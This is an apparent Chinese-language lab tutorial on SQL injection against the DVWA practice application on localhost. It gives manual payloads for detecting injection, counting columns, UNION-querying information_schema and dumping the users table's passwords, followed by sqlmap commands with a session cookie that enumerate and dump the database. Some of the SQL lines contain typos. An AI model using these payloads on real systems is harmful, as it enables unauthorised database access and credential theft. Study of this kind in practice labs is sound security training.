SQL注入漏洞判断
漏洞针对不同语言不同组成的后台有不一样的情况,注意源码中的情况做出不同的方案
- 针对dvwa的php后台,先调整为low,针对其中的输入框,输入1’ and 1 = 1# 结果为正确
- 输入1’ and 1=2# 结果为错,
- 尝试两次1=1 正常输出,1=2明显是错的,,证明sql语句生效,存在sql注入漏洞
SQL注入漏洞利用
判断数据库行列数
- 利用SQL语句
order by [column_num]
完整sql语句
SELECT first_name_,last_name FROM users WHERE user_id = '1' order by 1#';
在连接数据库的输入框中输入信息
- 用户输入数据为’1’ order by 3#'时网页出现报错,证明该数据库表有2列
联合查询其他信息
union select [sql1][sql2]
select first_name,last_name from users where user_id = '1' union select user(),database()#';
在连接数据库的输入框中输入该信息
利用sql语句,执行了MySQL内置函数user()和database()
- user():返回当前数据库连接用户
- database():返回当前数据库名称
联合查询表
union select table_name,table_schema from information_schema.tables where table_schema='[database_name]'
select first_name,last_name FORM users WHERE user_id= '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#';
用户输入sql语句,从information_schema数据库中查询dvwa数据库表
联合查询信息union [query_sql]
select first_name,last_name FROM users where user_id='1' union select userpassword from users#';
用户输入SQL语句,查询当前数据库的users表中user和password数据
sql注入工具
- sqlmap
kali自带,直接输入sqlmap执行
sqlmap自动化sql注入利用过程一般如下
- 检测漏洞
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;PHPpSESSID=bkka73fohiotnhmj84e0jp8e4"
-u:url地址,也就是需要检测的网址
-cookie:因为DAWA需要登录,可以在浏览器控制台里面查看请求消息头中获取cookie
- 获取数据库名称
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=bkka73fohiotnhmj84e0jp8e4"--dbs
–dbs:database server 获取所有数据库名字
- 获取数据库表
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=bkka73fohiotnhmj84e0jp8e4"-D dvwa --tables
-D:指想要获取的数据库
-tables:指获取的表
- 获取表项
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=bkka73fohiotnhmj84e0jp8e4"-D dvwa -T users --columns
-D:获取的数据库名
-T:指想要获取的表名
–clumns:列出表项/列
- 获取数据
python sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#"--cookie="security=low;PHPSESSID=bkka73fohiotnhmj84e0jp8e4"-D dvwa -T users --dump
–dump:获取数据